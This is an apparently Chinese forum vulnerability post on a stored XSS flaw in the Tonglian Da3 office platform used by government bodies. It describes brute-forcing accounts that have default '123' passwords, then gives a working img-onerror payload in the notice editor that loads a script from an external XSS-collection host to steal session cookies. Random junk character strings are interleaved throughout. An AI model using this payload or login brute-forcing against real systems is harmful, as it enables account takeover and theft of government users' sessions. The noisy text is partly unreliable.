同联Da3协同办公平台后台通用储存型xss漏洞

admin

a$ u- {# B: w6 ^. f ! X U; u5 v" f& L7 h, f5 U6 Y 6 p4 ^+ G0 P" n* f" t' t - n! e7 F D( W, Q7 `" [4 L

同联Da3协同办公平台后台通用储存型xss漏洞

" {. F2 |; B* s3 _ 平台简介：

  . w2 s+ o5 A5 x- P0 U& C4 O4 K Q

* s! e0 ?$ e& f7 S% C

, B* U* w& s# V3 ?& @ 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
0 c8 z3 v/ Q3 e* I* I! k4 u同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
4 p9 r6 r( L, t同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

9 P8 y$ n/ X# {! p

' s- I' e1 }# O3 l1 N8 G" H   1 `% O5 s. e& H( j) y: \

; E# K0 |! I8 m

3 R& v. N) A- n$ N- w 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

( r4 s( D2 _+ |; O% T1 l6 ?/ ^

  1 [1 X" ^3 `. @4 K! E

; e. O/ Z! ^. B% L6 j: U/ U

\" H7 I" M" D$ ? http://1.1.1.1:7197/cap-aco/#（案例2-） . A* W3 K2 V8 }$ X" N( S" @+ D6 j

) \2 Q4 L i* F, { k4 h6 d% {

http://www.XXOO.com （案例1-官网网站）

5 B% I4 f6 R9 Q* a6 b7 g 漏洞详情: 7 H7 |+ Y$ i: H

H, o+ g0 p2 h8 N; G% p8 n

 案例一、

) x) g; M8 [8 x+ F

) O' y. F% j) u, c+ n" v 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

$ Y! Y* h% b# q5 h% [* i0 U

5 z* P$ k, ]4 d" H0 @   . H! N# _" u' I1 n+ A, i8 B

* A5 n. a7 r+ p6 B, }6 s; x

+ `: q: C" m7 m5 L$ P

" |0 e! M( `5 c3 b# K status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

' v6 U4 L7 f: d; P   1 D5 Q9 g" R5 V J% F7 S

2 @1 k+ X, {4 r% u" t

1 N' C1 v9 R. Z, p5 l: [4 B/ P

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

3 Q3 X% _; u8 r7 q2 h1 T+ }

  / h3 X- a( q$ X! }# w. @ S2 d0 Y7 C+ A

; r9 I; Q! n0 U V6 A

: I- p F7 t* b5 E2 n1 `2 |$ O <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： 8 F) O) p6 r! R0 c2 {% g F2 c

3 f( F1 n4 u( p) X% P, I ! B. W; V2 f. X. V" t

$ B- n' h! I) v' ~$ L4 a! m8 p* R' ` 然后发送，接收cookie如图：

  3 k! |' a( n; V' L1 L7 O# {, J

 

  8 P7 i, D2 w) D; Q: K* d

9 p) ~; Q ]/ I3 D+ b+ ] A9 {4 o

  # O+ W: `1 Y& h8 A$ m* s

: o2 T% K; }" c- r* C! `/ }

+ x+ N" y6 T" g8 K3 a' F7 g" V * y1 h4 z0 n+ W& l

V m" M4 ? Z/ ]0 r( ~ w2 f: J! M

8 H3 n1 Y3 E; r! s- C6 u/ b, a

 

案例2、

2 B9 d- f. D7 T2 W

前面步骤都一样，下面看效果图： " V0 n5 m0 S n) V: f- L

; o' u2 `( ^$ W8 k6 A) [

0 Q; P+ s; n2 [( d# s' G; a 8 h! E" l* _. ]* Z; V4 B

2 ^( a8 Q' a% c( T1 Y# @

) ?; y9 k* s5 J" ]9 D  

 

( n. o' w0 ^% N/ r: o" q# R

" x; X! X ^% ~* E. ?* _! V

0 k5 d4 j3 H" u0 N7 I' K9 o  

/ P5 @ I1 s9 w+ ^2 L0 \, g

( O# \$ m1 L7 i4 ~   0 t a- ?8 @) Y% d

1 H" V+ I/ \9 U6 q' X: q4 B

 

$ H" q; {1 K! P3 R% c& ]) l  

4 n2 a( C4 R# h' d: i- J& v